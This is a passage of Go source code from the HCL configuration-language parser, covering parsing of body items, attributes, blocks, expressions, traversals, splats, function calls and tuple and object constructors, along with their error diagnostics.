default: // This should never happen for valid input, but may if a // syntax error was detected in ParseBodyItem that prevented // it from even producing a partially-broken item. In that // case, it would've left at least one error in the diagnostics // slice we already dealt with above. // // We'll assume ParseBodyItem attempted recovery to leave // us in a reasonable position to try parsing the next item. continue } default: bad := p.Read() if !p.recovery { if bad.Type == TokenOQuote { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid argument name", Detail: "Argument names must not be quoted.", Subject: &bad.Range, }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here.", Subject: &bad.Range, }) } } endRange = p.PrevRange() // arbitrary, but somewhere inside the body means better diagnostics p.recover(end) // attempt to recover to the token after the end of this body break Token } } return &Body{ Attributes: attrs, Blocks: blocks, SrcRange: hcl.RangeBetween(startRange, endRange), EndRange: hcl.Range{ Filename: endRange.Filename, Start: endRange.End, End: endRange.End, }, }, diags } func (p *parser) ParseBodyItem() (Node, hcl.Diagnostics) { ident := p.Read() if ident.Type != TokenIdent { p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here.", Subject: &ident.Range, }, } } next := p.Peek() switch next.Type { case TokenEqual: return p.finishParsingBodyAttribute(ident, false) case TokenOQuote, TokenOBrace, TokenIdent: return p.finishParsingBodyBlock(ident) default: p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here. To set an argument, use the equals sign \"=\" to introduce the argument value.", Subject: &ident.Range, }, } } return nil, nil } // parseSingleAttrBody is a weird variant of ParseBody that deals with the // body of a nested block containing only one attribute value all on a single // line, like foo { bar = baz } . It expects to find a single attribute item // immediately followed by the end token type with no intervening newlines. func (p *parser) parseSingleAttrBody(end TokenType) (*Body, hcl.Diagnostics) { ident := p.Read() if ident.Type != TokenIdent { p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here.", Subject: &ident.Range, }, } } var attr *Attribute var diags hcl.Diagnostics next := p.Peek() switch next.Type { case TokenEqual: node, attrDiags := p.finishParsingBodyAttribute(ident, true) diags = append(diags, attrDiags...) attr = node.(*Attribute) case TokenOQuote, TokenOBrace, TokenIdent: p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument definition required", Detail: fmt.Sprintf("A single-line block definition can contain only a single argument. If you meant to define argument %q, use an equals sign to assign it a value. To define a nested block, place it on a line of its own within its parent block.", ident.Bytes), Subject: hcl.RangeBetween(ident.Range, next.Range).Ptr(), }, } default: p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here. To set an argument, use the equals sign \"=\" to introduce the argument value.", Subject: &ident.Range, }, } } return &Body{ Attributes: Attributes{ string(ident.Bytes): attr, }, SrcRange: attr.SrcRange, EndRange: hcl.Range{ Filename: attr.SrcRange.Filename, Start: attr.SrcRange.End, End: attr.SrcRange.End, }, }, diags } func (p *parser) finishParsingBodyAttribute(ident Token, singleLine bool) (Node, hcl.Diagnostics) { eqTok := p.Read() // eat equals token if eqTok.Type != TokenEqual { // should never happen if caller behaves panic("finishParsingBodyAttribute called with next not equals") } var endRange hcl.Range expr, diags := p.ParseExpression() if p.recovery && diags.HasErrors() { // recovery within expressions tends to be tricky, so we've probably // landed somewhere weird. We'll try to reset to the start of a body // item so parsing can continue. endRange = p.PrevRange() p.recoverAfterBodyItem() } else { endRange = p.PrevRange() if !singleLine { end := p.Peek() if end.Type != TokenNewline && end.Type != TokenEOF { if !p.recovery { summary := "Missing newline after argument" detail := "An argument definition must end with a newline." if end.Type == TokenComma { summary = "Unexpected comma after argument" detail = "Argument definitions must be separated by newlines, not commas. " + detail } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: summary, Detail: detail, Subject: &end.Range, Context: hcl.RangeBetween(ident.Range, end.Range).Ptr(), }) } endRange = p.PrevRange() p.recoverAfterBodyItem() } else { endRange = p.PrevRange() p.Read() // eat newline } } } return &Attribute{ Name: string(ident.Bytes), Expr: expr, SrcRange: hcl.RangeBetween(ident.Range, endRange), NameRange: ident.Range, EqualsRange: eqTok.Range, }, diags } func (p *parser) finishParsingBodyBlock(ident Token) (Node, hcl.Diagnostics) { var blockType = string(ident.Bytes) var diags hcl.Diagnostics var labels []string var labelRanges []hcl.Range var oBrace Token Token: for { tok := p.Peek() switch tok.Type { case TokenOBrace: oBrace = p.Read() break Token case TokenOQuote: label, labelRange, labelDiags := p.parseQuotedStringLiteral() diags = append(diags, labelDiags...) labels = append(labels, label) labelRanges = append(labelRanges, labelRange) // parseQuoteStringLiteral recovers up to the closing quote // if it encounters problems, so we can continue looking for // more labels and eventually the block body even. case TokenIdent: tok = p.Read() // eat token label, labelRange := string(tok.Bytes), tok.Range labels = append(labels, label) labelRanges = append(labelRanges, labelRange) default: switch tok.Type { case TokenEqual: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid block definition", Detail: "The equals sign \"=\" indicates an argument definition, and must not be used when defining a block.", Subject: &tok.Range, Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), }) case TokenNewline: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid block definition", Detail: "A block definition must have block content delimited by \"{\" and \"}\", starting on the same line as the block header.", Subject: &tok.Range, Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), }) default: if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid block definition", Detail: "Either a quoted string block label or an opening brace (\"{\") is expected here.", Subject: &tok.Range, Context: hcl.RangeBetween(ident.Range, tok.Range).Ptr(), }) } } p.recoverAfterBodyItem() return &Block{ Type: blockType, Labels: labels, Body: &Body{ SrcRange: ident.Range, EndRange: ident.Range, }, TypeRange: ident.Range, LabelRanges: labelRanges, OpenBraceRange: ident.Range, // placeholder CloseBraceRange: ident.Range, // placeholder }, diags } } // Once we fall out here, the peeker is pointed just after our opening // brace, so we can begin our nested body parsing. var body *Body var bodyDiags hcl.Diagnostics switch p.Peek().Type { case TokenNewline, TokenEOF, TokenCBrace: body, bodyDiags = p.ParseBody(TokenCBrace) default: // Special one-line, single-attribute block parsing mode. body, bodyDiags = p.parseSingleAttrBody(TokenCBrace) switch p.Peek().Type { case TokenCBrace: p.Read() // the happy path - just consume the closing brace case TokenComma: // User seems to be trying to use the object-constructor // comma-separated style, which isn't permitted for blocks. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid single-argument block definition", Detail: "Single-line block syntax can include only one argument definition. To define multiple arguments, use the multi-line block syntax with one argument definition per line.", Subject: p.Peek().Range.Ptr(), }) p.recover(TokenCBrace) case TokenNewline: // We don't allow weird mixtures of single and multi-line syntax. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid single-argument block definition", Detail: "An argument definition on the same line as its containing block creates a single-line block definition, which must also be closed on the same line. Place the block's closing brace immediately after the argument definition.", Subject: p.Peek().Range.Ptr(), }) p.recover(TokenCBrace) default: // Some other weird thing is going on. Since we can't guess a likely // user intent for this one, we'll skip it if we're already in // recovery mode. if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid single-argument block definition", Detail: "A single-line block definition must end with a closing brace immediately after its single argument definition.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenCBrace) } } diags = append(diags, bodyDiags...) cBraceRange := p.PrevRange() eol := p.Peek() if eol.Type == TokenNewline || eol.Type == TokenEOF { p.Read() // eat newline } else { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing newline after block definition", Detail: "A block definition must end with a newline.", Subject: &eol.Range, Context: hcl.RangeBetween(ident.Range, eol.Range).Ptr(), }) } p.recoverAfterBodyItem() } // We must never produce a nil body, since the caller may attempt to // do analysis of a partial result when there's an error, so we'll // insert a placeholder if we otherwise failed to produce a valid // body due to one of the syntax error paths above. if body == nil && diags.HasErrors() { body = &Body{ SrcRange: hcl.RangeBetween(oBrace.Range, cBraceRange), EndRange: cBraceRange, } } return &Block{ Type: blockType, Labels: labels, Body: body, TypeRange: ident.Range, LabelRanges: labelRanges, OpenBraceRange: oBrace.Range, CloseBraceRange: cBraceRange, }, diags } func (p *parser) ParseExpression() (Expression, hcl.Diagnostics) { return p.parseTernaryConditional() } func (p *parser) parseTernaryConditional() (Expression, hcl.Diagnostics) { // The ternary conditional operator (.. ? .. : ..) behaves somewhat // like a binary operator except that the "symbol" is itself // an expression enclosed in two punctuation characters. // The middle expression is parsed as if the ? and : symbols // were parentheses. The "rhs" (the "false expression") is then // treated right-associatively so it behaves similarly to the // middle in terms of precedence. startRange := p.NextRange() var condExpr, trueExpr, falseExpr Expression var diags hcl.Diagnostics condExpr, condDiags := p.parseBinaryOps(binaryOps) diags = append(diags, condDiags...) if p.recovery && condDiags.HasErrors() { return condExpr, diags } questionMark := p.Peek() if questionMark.Type != TokenQuestion { return condExpr, diags } p.Read() // eat question mark trueExpr, trueDiags := p.ParseExpression() diags = append(diags, trueDiags...) if p.recovery && trueDiags.HasErrors() { return condExpr, diags } colon := p.Peek() if colon.Type != TokenColon { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing false expression in conditional", Detail: "The conditional operator (...?...:...) requires a false expression, delimited by a colon.", Subject: &colon.Range, Context: hcl.RangeBetween(startRange, colon.Range).Ptr(), }) return condExpr, diags } p.Read() // eat colon falseExpr, falseDiags := p.ParseExpression() diags = append(diags, falseDiags...) if p.recovery && falseDiags.HasErrors() { return condExpr, diags } return &ConditionalExpr{ Condition: condExpr, TrueResult: trueExpr, FalseResult: falseExpr, SrcRange: hcl.RangeBetween(startRange, falseExpr.Range()), }, diags } // parseBinaryOps calls itself recursively to work through all of the // operator precedence groups, and then eventually calls parseExpressionTerm // for each operand. func (p *parser) parseBinaryOps(ops []map[TokenType]*Operation) (Expression, hcl.Diagnostics) { if len(ops) == 0 { // We've run out of operators, so now we'll just try to parse a term. return p.parseExpressionWithTraversals() } thisLevel := ops[0] remaining := ops[1:] var lhs, rhs Expression var operation *Operation var diags hcl.Diagnostics // Parse a term that might be the first operand of a binary // operation or it might just be a standalone term. // We won't know until we've parsed it and can look ahead // to see if there's an operator token for this level. lhs, lhsDiags := p.parseBinaryOps(remaining) diags = append(diags, lhsDiags...) if p.recovery && lhsDiags.HasErrors() { return lhs, diags } // We'll keep eating up operators until we run out, so that operators // with the same precedence will combine in a left-associative manner: // a+b+c => (a+b)+c, not a+(b+c) // // Should we later want to have right-associative operators, a way // to achieve that would be to call back up to ParseExpression here // instead of iteratively parsing only the remaining operators. for { next := p.Peek() var newOp *Operation var ok bool if newOp, ok = thisLevel[next.Type]; !ok { break } // Are we extending an expression started on the previous iteration? if operation != nil { lhs = &BinaryOpExpr{ LHS: lhs, Op: operation, RHS: rhs, SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()), } } operation = newOp p.Read() // eat operator token var rhsDiags hcl.Diagnostics rhs, rhsDiags = p.parseBinaryOps(remaining) diags = append(diags, rhsDiags...) if p.recovery && rhsDiags.HasErrors() { return lhs, diags } } if operation == nil { return lhs, diags } return &BinaryOpExpr{ LHS: lhs, Op: operation, RHS: rhs, SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()), }, diags } func (p *parser) parseExpressionWithTraversals() (Expression, hcl.Diagnostics) { term, diags := p.parseExpressionTerm() ret, moreDiags := p.parseExpressionTraversals(term) diags = append(diags, moreDiags...) return ret, diags } func (p *parser) parseExpressionTraversals(from Expression) (Expression, hcl.Diagnostics) { var diags hcl.Diagnostics ret := from Traversal: for { next := p.Peek() switch next.Type { case TokenDot: // Attribute access or splat dot := p.Read() attrTok := p.Peek() switch attrTok.Type { case TokenIdent: attrTok = p.Read() // eat token name := string(attrTok.Bytes) rng := hcl.RangeBetween(dot.Range, attrTok.Range) step := hcl.TraverseAttr{ Name: name, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) case TokenNumberLit: // This is a weird form we inherited from HIL, allowing numbers // to be used as attributes as a weird way of writing [n]. // This was never actually a first-class thing in HIL, but // HIL tolerated sequences like .0. in its variable names and // calling applications like Terraform exploited that to // introduce indexing syntax where none existed. numTok := p.Read() // eat token attrTok = numTok // This syntax is ambiguous if multiple indices are used in // succession, like foo.0.1.baz: that actually parses as // a fractional number 0.1. Since we're only supporting this // syntax for compatibility with legacy Terraform // configurations, and Terraform does not tend to have lists // of lists, we'll choose to reject that here with a helpful // error message, rather than failing later because the index // isn't a whole number. if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 { first := numTok.Bytes[:dotIdx] second := numTok.Bytes[dotIdx+1:] diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid legacy index syntax", Detail: fmt.Sprintf("When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax instead, like [%s][%s].", first, second), Subject: &attrTok.Range, }) rng := hcl.RangeBetween(dot.Range, numTok.Range) step := hcl.TraverseIndex{ Key: cty.DynamicVal, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) break } numVal, numDiags := p.numberLitValue(numTok) diags = append(diags, numDiags...) rng := hcl.RangeBetween(dot.Range, numTok.Range) step := hcl.TraverseIndex{ Key: numVal, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) case TokenStar: // "Attribute-only" splat expression. // (This is a kinda weird construct inherited from HIL, which // behaves a bit like a [*] splat except that it is only able // to do attribute traversals into each of its elements, // whereas foo[*] can support _any_ traversal. marker := p.Read() // eat star trav := make(hcl.Traversal, 0, 1) var firstRange, lastRange hcl.Range firstRange = p.NextRange() lastRange = marker.Range for p.Peek().Type == TokenDot { dot := p.Read() if p.Peek().Type == TokenNumberLit { // Continuing the "weird stuff inherited from HIL" // theme, we also allow numbers as attribute names // inside splats and interpret them as indexing // into a list, for expressions like: // foo.bar.*.baz.0.foo numTok := p.Read() // Weird special case if the user writes something // like foo.bar.*.baz.0.0.foo, where 0.0 parses // as a number. if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 { first := numTok.Bytes[:dotIdx] second := numTok.Bytes[dotIdx+1:] diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid legacy index syntax", Detail: fmt.Sprintf("When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax with a full splat expression [*] instead, like [%s][%s].", first, second), Subject: &attrTok.Range, }) trav = append(trav, hcl.TraverseIndex{ Key: cty.DynamicVal, SrcRange: hcl.RangeBetween(dot.Range, numTok.Range), }) lastRange = numTok.Range continue } numVal, numDiags := p.numberLitValue(numTok) diags = append(diags, numDiags...) trav = append(trav, hcl.TraverseIndex{ Key: numVal, SrcRange: hcl.RangeBetween(dot.Range, numTok.Range), }) lastRange = numTok.Range continue } if p.Peek().Type != TokenIdent { if !p.recovery { if p.Peek().Type == TokenStar { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Nested splat expression not allowed", Detail: "A splat expression (*) cannot be used inside another attribute-only splat expression.", Subject: p.Peek().Range.Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid attribute name", Detail: "An attribute name is required after a dot.", Subject: &attrTok.Range, }) } } p.setRecovery() continue Traversal } attrTok := p.Read() trav = append(trav, hcl.TraverseAttr{ Name: string(attrTok.Bytes), SrcRange: hcl.RangeBetween(dot.Range, attrTok.Range), }) lastRange = attrTok.Range } itemExpr := &AnonSymbolExpr{ SrcRange: hcl.RangeBetween(dot.Range, marker.Range), } var travExpr Expression if len(trav) == 0 { travExpr = itemExpr } else { travExpr = &RelativeTraversalExpr{ Source: itemExpr, Traversal: trav, SrcRange: hcl.RangeBetween(firstRange, lastRange), } } ret = &SplatExpr{ Source: ret, Each: travExpr, Item: itemExpr, SrcRange: hcl.RangeBetween(from.Range(), lastRange), MarkerRange: hcl.RangeBetween(dot.Range, marker.Range), } default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid attribute name", Detail: "An attribute name is required after a dot.", Subject: &attrTok.Range, }) // This leaves the peeker in a bad place, so following items // will probably be misparsed until we hit something that // allows us to re-sync. // // We will probably need to do something better here eventually // in order to support autocomplete triggered by typing a // period. p.setRecovery() } case TokenOBrack: // Indexing of a collection. // This may or may not be a hcl.Traverser, depending on whether // the key value is something constant. open := p.Read() switch p.Peek().Type { case TokenStar: // This is a full splat expression, like foo[*], which consumes // the rest of the traversal steps after it using a recursive // call to this function. p.Read() // consume star close := p.Read() if close.Type != TokenCBrack && !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing close bracket on splat index", Detail: "The star for a full splat operator must be immediately followed by a closing bracket (\"]\").", Subject: &close.Range, }) close = p.recover(TokenCBrack) } // Splat expressions use a special "anonymous symbol" as a // placeholder in an expression to be evaluated once for each // item in the source expression. itemExpr := &AnonSymbolExpr{ SrcRange: hcl.RangeBetween(open.Range, close.Range), } // Now we'll recursively call this same function to eat any // remaining traversal steps against the anonymous symbol. travExpr, nestedDiags := p.parseExpressionTraversals(itemExpr) diags = append(diags, nestedDiags...) ret = &SplatExpr{ Source: ret, Each: travExpr, Item: itemExpr, SrcRange: hcl.RangeBetween(from.Range(), travExpr.Range()), MarkerRange: hcl.RangeBetween(open.Range, close.Range), } default: var close Token p.PushIncludeNewlines(false) // arbitrary newlines allowed in brackets keyExpr, keyDiags := p.ParseExpression() diags = append(diags, keyDiags...) if p.recovery && keyDiags.HasErrors() { close = p.recover(TokenCBrack) } else { close = p.Read() if close.Type != TokenCBrack && !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing close bracket on index", Detail: "The index operator must end with a closing bracket (\"]\").", Subject: &close.Range, }) close = p.recover(TokenCBrack) } } p.PopIncludeNewlines() if lit, isLit := keyExpr.(*LiteralValueExpr); isLit { litKey, _ := lit.Value(nil) rng := hcl.RangeBetween(open.Range, close.Range) step := hcl.TraverseIndex{ Key: litKey, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) } else if tmpl, isTmpl := keyExpr.(*TemplateExpr); isTmpl && tmpl.IsStringLiteral() { litKey, _ := tmpl.Value(nil) rng := hcl.RangeBetween(open.Range, close.Range) step := hcl.TraverseIndex{ Key: litKey, SrcRange: rng, } ret = makeRelativeTraversal(ret, step, rng) } else { rng := hcl.RangeBetween(open.Range, close.Range) ret = &IndexExpr{ Collection: ret, Key: keyExpr, SrcRange: hcl.RangeBetween(from.Range(), rng), OpenRange: open.Range, BracketRange: rng, } } } default: break Traversal } } return ret, diags } // makeRelativeTraversal takes an expression and a traverser and returns // a traversal expression that combines the two. If the given expression // is already a traversal, it is extended in place (mutating it) and // returned. If it isn't, a new RelativeTraversalExpr is created and returned. func makeRelativeTraversal(expr Expression, next hcl.Traverser, rng hcl.Range) Expression { switch texpr := expr.(type) { case *ScopeTraversalExpr: texpr.Traversal = append(texpr.Traversal, next) texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng) return texpr case *RelativeTraversalExpr: texpr.Traversal = append(texpr.Traversal, next) texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng) return texpr default: return &RelativeTraversalExpr{ Source: expr, Traversal: hcl.Traversal{next}, SrcRange: hcl.RangeBetween(expr.Range(), rng), } } } func (p *parser) parseExpressionTerm() (Expression, hcl.Diagnostics) { start := p.Peek() switch start.Type { case TokenOParen: oParen := p.Read() // eat open paren p.PushIncludeNewlines(false) expr, diags := p.ParseExpression() if diags.HasErrors() { // attempt to place the peeker after our closing paren // before we return, so that the next parser has some // chance of finding a valid expression. p.recover(TokenCParen) p.PopIncludeNewlines() return expr, diags } close := p.Peek() if close.Type != TokenCParen { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unbalanced parentheses", Detail: "Expected a closing parenthesis to terminate the expression.", Subject: &close.Range, Context: hcl.RangeBetween(start.Range, close.Range).Ptr(), }) p.setRecovery() } cParen := p.Read() // eat closing paren p.PopIncludeNewlines() // Our parser's already taken care of the precedence effect of the // parentheses by considering them to be a kind of "term", but we // still need to include the parentheses in our AST so we can give // an accurate representation of the source range that includes the // open and closing parentheses. expr = &ParenthesesExpr{ Expression: expr, SrcRange: hcl.RangeBetween(oParen.Range, cParen.Range), } return expr, diags case TokenNumberLit: tok := p.Read() // eat number token numVal, diags := p.numberLitValue(tok) return &LiteralValueExpr{ Val: numVal, SrcRange: tok.Range, }, diags case TokenIdent: tok := p.Read() // eat identifier token if p.Peek().Type == TokenOParen { return p.finishParsingFunctionCall(tok) } name := string(tok.Bytes) switch name { case "true": return &LiteralValueExpr{ Val: cty.True, SrcRange: tok.Range, }, nil case "false": return &LiteralValueExpr{ Val: cty.False, SrcRange: tok.Range, }, nil case "null": return &LiteralValueExpr{ Val: cty.NullVal(cty.DynamicPseudoType), SrcRange: tok.Range, }, nil default: return &ScopeTraversalExpr{ Traversal: hcl.Traversal{ hcl.TraverseRoot{ Name: name, SrcRange: tok.Range, }, }, SrcRange: tok.Range, }, nil } case TokenOQuote, TokenOHeredoc: open := p.Read() // eat opening marker closer := p.oppositeBracket(open.Type) exprs, passthru, _, diags := p.parseTemplateInner(closer, tokenOpensFlushHeredoc(open)) closeRange := p.PrevRange() if passthru { if len(exprs) != 1 { panic("passthru set with len(exprs) != 1") } return &TemplateWrapExpr{ Wrapped: exprs[0], SrcRange: hcl.RangeBetween(open.Range, closeRange), }, diags } return &TemplateExpr{ Parts: exprs, SrcRange: hcl.RangeBetween(open.Range, closeRange), }, diags case TokenMinus: tok := p.Read() // eat minus token // Important to use parseExpressionWithTraversals rather than parseExpression // here, otherwise we can capture a following binary expression into // our negation. // e.g. -46+5 should parse as (-46)+5, not -(46+5) operand, diags := p.parseExpressionWithTraversals() return &UnaryOpExpr{ Op: OpNegate, Val: operand, SrcRange: hcl.RangeBetween(tok.Range, operand.Range()), SymbolRange: tok.Range, }, diags case TokenBang: tok := p.Read() // eat bang token // Important to use parseExpressionWithTraversals rather than parseExpression // here, otherwise we can capture a following binary expression into // our negation. operand, diags := p.parseExpressionWithTraversals() return &UnaryOpExpr{ Op: OpLogicalNot, Val: operand, SrcRange: hcl.RangeBetween(tok.Range, operand.Range()), SymbolRange: tok.Range, }, diags case TokenOBrack: return p.parseTupleCons() case TokenOBrace: return p.parseObjectCons() default: var diags hcl.Diagnostics if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid expression", Detail: "Expected the start of an expression, but found an invalid expression token.", Subject: &start.Range, }) } p.setRecovery() // Return a placeholder so that the AST is still structurally sound // even in the presence of parse errors. return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: start.Range, }, diags } } func (p *parser) numberLitValue(tok Token) (cty.Value, hcl.Diagnostics) { // The cty.ParseNumberVal is always the same behavior as converting a // string to a number, ensuring we always interpret decimal numbers in // the same way. numVal, err := cty.ParseNumberVal(string(tok.Bytes)) if err != nil { ret := cty.UnknownVal(cty.Number) return ret, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid number literal", // FIXME: not a very good error message, but convert only // gives us "a number is required", so not much help either. Detail: "Failed to recognize the value of this number literal.", Subject: &tok.Range, }, } } return numVal, nil } // finishParsingFunctionCall parses a function call assuming that the function // name was already read, and so the peeker should be pointing at the opening // parenthesis after the name. func (p *parser) finishParsingFunctionCall(name Token) (Expression, hcl.Diagnostics) { openTok := p.Read() if openTok.Type != TokenOParen { // should never happen if callers behave panic("finishParsingFunctionCall called with non-parenthesis as next token") } var args []Expression var diags hcl.Diagnostics var expandFinal bool var closeTok Token // Arbitrary newlines are allowed inside the function call parentheses. p.PushIncludeNewlines(false) Token: for { tok := p.Peek() if tok.Type == TokenCParen { closeTok = p.Read() // eat closing paren break Token } arg, argDiags := p.ParseExpression() args = append(args, arg) diags = append(diags, argDiags...) if p.recovery && argDiags.HasErrors() { // if there was a parse error in the argument then we've // probably been left in a weird place in the token stream, // so we'll bail out with a partial argument list. p.recover(TokenCParen) break Token } sep := p.Read() if sep.Type == TokenCParen { closeTok = sep break Token } if sep.Type == TokenEllipsis { expandFinal = true if p.Peek().Type != TokenCParen { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing closing parenthesis", Detail: "An expanded function argument (with ...) must be immediately followed by closing parentheses.", Subject: &sep.Range, Context: hcl.RangeBetween(name.Range, sep.Range).Ptr(), }) } closeTok = p.recover(TokenCParen) } else { closeTok = p.Read() // eat closing paren } break Token } if sep.Type != TokenComma { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing argument separator", Detail: "A comma is required to separate each function argument from the next.", Subject: &sep.Range, Context: hcl.RangeBetween(name.Range, sep.Range).Ptr(), }) closeTok = p.recover(TokenCParen) break Token } if p.Peek().Type == TokenCParen { // A trailing comma after the last argument gets us in here. closeTok = p.Read() // eat closing paren break Token } } p.PopIncludeNewlines() return &FunctionCallExpr{ Name: string(name.Bytes), Args: args, ExpandFinal: expandFinal, NameRange: name.Range, OpenParenRange: openTok.Range, CloseParenRange: closeTok.Range, }, diags } func (p *parser) parseTupleCons() (Expression, hcl.Diagnostics) { open := p.Read() if open.Type != TokenOBrack { // Should never happen if callers are behaving panic("parseTupleCons called without peeker pointing to open bracket") } p.PushIncludeNewlines(false) defer p.PopIncludeNewlines() if forKeyword.TokenMatches(p.Peek()) { return p.finishParsingForExpr(open) } var close Token var diags hcl.Diagnostics var exprs []Expression for { next := p.Peek() if next.Type == TokenCBrack { close = p.Read() // eat closer break } expr, exprDiags := p.ParseExpression() exprs = append(exprs, expr) diags = append(diags, exprDiags...) if p.recovery && exprDiags.HasErrors() { // If expression parsing failed then we are probably in a strange // place in the token stream, so we'll bail out and try to reset // to after our closing bracket to allow parsing to continue. close = p.recover(TokenCBrack) break } next = p.Peek() if next.Type == TokenCBrack { close = p.Read() // eat closer break } if next.Type != TokenComma { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing item separator", Detail: "Expected a comma to mark the beginning of the next item.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) } close = p.recover(TokenCBrack) break } p.Read() // eat comma } return &TupleConsExpr{ Exprs: exprs, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, }, diags } func (p *parser) parseObjectCons() (Expression, hcl.Diagnostics) { open := p.Read() if open.Type != TokenOBrace { // Should never happen if callers are behaving panic("parseObjectCons called without peeker pointing to open brace") } // We must temporarily stop looking at newlines here while we check for // a "for" keyword, since for expressions are _not_ newline-sensitive, // even though object constructors are. p.PushIncludeNewlines(false) isFor := forKeyword.TokenMatches(p.Peek()) p.PopIncludeNewlines() if isFor { return p.finishParsingForExpr(open) } p.PushIncludeNewlines(true) defer p.PopIncludeNewlines() var close Token var diags hcl.Diagnostics var items []ObjectConsItem for { next := p.Peek() if next.Type == TokenNewline { p.Read() // eat newline continue } if next.Type == TokenCBrace { close = p.Read() // eat closer break } // Wrapping parens are not explicitly represented in the AST, but // we want to use them here to disambiguate interpreting a mapping // key as a full expression rather than just a name, and so // we'll remember this was present and use it to force the // behavior of our final ObjectConsKeyExpr. forceNonLiteral := (p.Peek().Type == TokenOParen) var key Expression var keyDiags hcl.Diagnostics key, keyDiags = p.ParseExpression() diags = append(diags, keyDiags...) if p.recovery && keyDiags.HasErrors() { // If expression parsing failed then we are probably in a strange // place in the token stream, so we'll bail out and try to reset // to after our closing brace to allow parsing to continue. close = p.recover(TokenCBrace) break } // We wrap up the key expression in a special wrapper that deals // with our special case that naked identifiers as object keys // are interpreted as literal strings. key = &ObjectConsKeyExpr{ Wrapped: key, ForceNonLiteral: forceNonLiteral, } next = p.Peek() if next.Type != TokenEqual && next.Type != TokenColon { if !p.recovery { switch next.Type { case TokenNewline, TokenComma: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute value", Detail: "Expected an attribute value, introduced by an equals sign (\"=\").", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) case TokenIdent: // Although this might just be a plain old missing equals // sign before a reference, one way to get here is to try // to write an attribute name containing a period followed // by a digit, which was valid in HCL1, like this: // foo1.2_bar = "baz" // We can't know exactly what the user intended here, but // we'll augment our message with an extra hint in this case // in case it is helpful. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing key/value separator", Detail: "Expected an equals sign (\"=\") to mark the beginning of the attribute value. If you intended to given an attribute name containing periods or spaces, write the name in quotes to create a string literal.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing key/value separator", Detail: "Expected an equals sign (\"=\") to mark the beginning of the attribute value.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) } } close = p.recover(TokenCBrace) break } p.Read() // eat equals sign or colon value, valueDiags := p.ParseExpression() diags = append(diags, valueDiags...) if p.recovery && valueDiags.HasErrors() { // If expression parsing failed then we are probably in a strange // place in the token stream, so we'll bail out and try to reset // to after our closing brace to allow parsing to continue. close = p.recover(TokenCBrace) break } items = append(items, ObjectConsItem{ KeyExpr: key, 